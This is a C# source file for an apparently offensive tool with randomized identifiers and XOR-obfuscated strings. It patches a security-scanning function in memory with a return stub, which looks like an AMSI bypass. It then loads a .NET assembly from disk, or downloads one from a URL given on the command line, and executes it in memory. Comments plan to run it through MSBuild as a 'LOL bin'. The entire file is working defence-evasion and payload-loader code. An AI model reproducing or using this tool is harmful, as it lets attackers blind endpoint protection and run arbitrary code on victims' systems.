using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;

//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class KnobstonePelerin{
    private static WebClient OvercatchCloisteral = new WebClient() { };
	[DllImport("kernel32", EntryPoint = "GetProcAddress")]
    private static extern IntPtr GetProcAddress(IntPtr CerithiumPollarding, string EyewinkerAlgebraization);
	[DllImport("kernel32", EntryPoint = "LoadLibrary")]
    private static extern IntPtr LoadLibrary(string SoignePassably);
	[DllImport("kernel32", EntryPoint = "VirtualProtect")]
    private static extern bool VirtualProtect(IntPtr PhyllomorphCougnar, UIntPtr SojaEdify, uint PlateaulithParoophoric, out uint ChloranthaceousPalaeolith);
	private static IntPtr AspideSwaird(IntPtr GreengroceriesNonceremonially)
    {
        uint JiggingHarrateen = 0;
        if (VirtualProtect(GreengroceriesNonceremonially, (UIntPtr)CaecalCyclopaedist().Length, 0x40, out JiggingHarrateen))
        {
            return GreengroceriesNonceremonially;
        }
        else
        {
            return (IntPtr)0;
        }
    }
	private static object JiujutsuYoicks(string UnbearingPolishes, string OvigenousSemiannual)
    {
        Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("FkQpTycwJUQ1FDosUl9H"), "MotorbikeUndreggy")) + OvigenousSemiannual);
        if (!string.IsNullOrEmpty(UnbearingPolishes))
            Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("EkU2Vy4dAwY4Cx0RFkxTTg=="), "InkwoodsUnseeliness")) + UnbearingPolishes);
        object[] ConsuetudinalCheekbone = new object[] { new string[] { UnbearingPolishes } };
        if (!OvigenousSemiannual.ToLower().StartsWith(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("MRUGFA=="), "YardmasterAstigmometer"))))
            return FermeShowing(DysodontiasisCommunities(OccipitoposteriorSevier(ArgentolSettable(OvigenousSemiannual))), ConsuetudinalCheekbone);
        return FermeShowing(DysodontiasisCommunities(OccipitoposteriorSevier(UncognizantFailings(OvigenousSemiannual))), ConsuetudinalCheekbone);
    }
	private static Assembly OccipitoposteriorSevier(byte[] NontaxesHosing)
    {
        return Assembly.Load(NontaxesHosing);
    }
	private static byte[] CaecalCyclopaedist()
    {
        if (System.Environment.Is64BitOperatingSystem)
            return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
    }
	private static object FermeShowing(MethodInfo SeponeViolining, object[] NonviviparouslySiphonogamic)
    {
        return SeponeViolining.Invoke(null, NonviviparouslySiphonogamic);
    }
	private static void DisexerciseLores()
    {
        Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("GVM0Uw0pGAgAJA8ECU9DRj4NFSAAFBcnAA=="), "BrissotinCymbocephalous")));
        Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("Hkw/UkEtABkpARUtCwZLFxQMTj5MWQtZWhhNNyAtPCo/Oj41HSZUPjM+LjsoJDo9PDM="), "EmbracementInterlineation")));
        Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("C0Q+VTdETBBfRzhhTl1VLRkAHAI+BA9ZTAwRCgwQETJDARoWAVQgPxw6LCczOSAmIVMELwdDNDAuITgoHjEwVRgGQRAMUwcgEAZDVkkRGw4/AQYR"), "PeculiariseAccubitum")));
        Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("GEQxTzYIPzcnKCIgNSc4RG5bTCAdPQQfHAQLQkEVFwM2CAkBGTpNBB1FBQtBBAQXMEUDGQg7TQQdRSQ9CRUXFGMAAhsfMD0fGwsTThYcAApjDAIZAiIIFA=="), "CelomImpregnated")));
    }
	private static void GeneralizePredigested()
    {
        IntPtr GreengroceriesNonceremonially = AspideSwaird(ElephantiasisSnobbily());
        if (GreengroceriesNonceremonially != (IntPtr)0)
        {
            Marshal.Copy(CaecalCyclopaedist(), 0, GreengroceriesNonceremonially, CaecalCyclopaedist().Length);
            Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("D14vQiYZBg0ROwoWEB4BFkQVEgANDRYXdDQ/MTxN"), "TurbulentHypermodestness")));
        }
        else
        {
            Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("CFUoUDkFJRYJAgcJRy00AD1VNigtHTAl"), "StupidQuakingly")));
        }
    }
	private static IntPtr ElephantiasisSnobbily()
    {
        return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("Jx8SHW8RGA0="), "FratAutarchist"))), Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("CAMaGiAWAAwuECkeHBU="), "InissuableOxygenized")));
    }
	private static byte[] UncognizantFailings(string url)
    {
        return OvercatchCloisteral.DownloadData(url);
    }
	public static void Main(string[] args)
    {
        Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("GVM0Uw0pGAgAJA8ECU9DRj4NFSAAFBcnAA=="), "BrissotinCymbocephalous")));
        GeneralizePredigested();
        ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
        try
        {
            string ScringeGumweeds = "";
            string AmbitendentZadruga = "";
            //The valid amount of expected input args ranges between 1 -3
            if (args.Length > 0 && args.Length < 4)
            {
                //If the first arg is b64, expect the next one to be payload path, and check for payload args
                if ((args[0].ToLower().Equals(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("ZEMRVUY="), "InscribesUnfraternizing"))) || args[0].ToLower().Equals(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("Kk9Q"), "HydrosilicateOxanilate")))) && args.Length > 2)
                {
                    AmbitendentZadruga = Encoding.UTF8.GetString(Convert.FromBase64String(args[1]));
                    ScringeGumweeds = (args.Length == 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[2])) : "";
                }
                else
                {
                    AmbitendentZadruga = (args.Length >= 1) ? args[0] : "";
                    ScringeGumweeds = (args.Length >= 2) ? args[1] : "";
                }
            }
            if (!string.IsNullOrWhiteSpace(AmbitendentZadruga))
                JiujutsuYoicks(ScringeGumweeds, AmbitendentZadruga);
            else
                DisexerciseLores();
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
            Environment.Exit(0);
        }
    }
	private static byte[] VernalizedGenethliac(byte[] CookoutsTribasilar, string AeginetanUnbroke)
    {
        byte[] SenlacGarpike = Encoding.UTF8.GetBytes(AeginetanUnbroke);
        byte[] DoppiaPlantago = new byte[CookoutsTribasilar.Length];
        for (int i = 0; i < CookoutsTribasilar.Length; i++)
        {
            DoppiaPlantago[i] = (byte)(CookoutsTribasilar[i] ^ SenlacGarpike[i % SenlacGarpike.Length]);
        }
        return DoppiaPlantago;
    }
	private static MethodInfo DysodontiasisCommunities(Assembly asm)
    {
        return asm.EntryPoint;
    }
	private static byte[] ArgentolSettable(string CezannesqueUltimating)
    {
        return File.ReadAllBytes(CezannesqueUltimating);
    }
	    /*
	     //This is for MSBuild later
	    public class ClassExample : Task, ITask
	    {
	        public override bool Execute()
	        {
	            KnobstonePelerin.Main(new string[] { });
	            return true;
	        }
	    }
	    */
}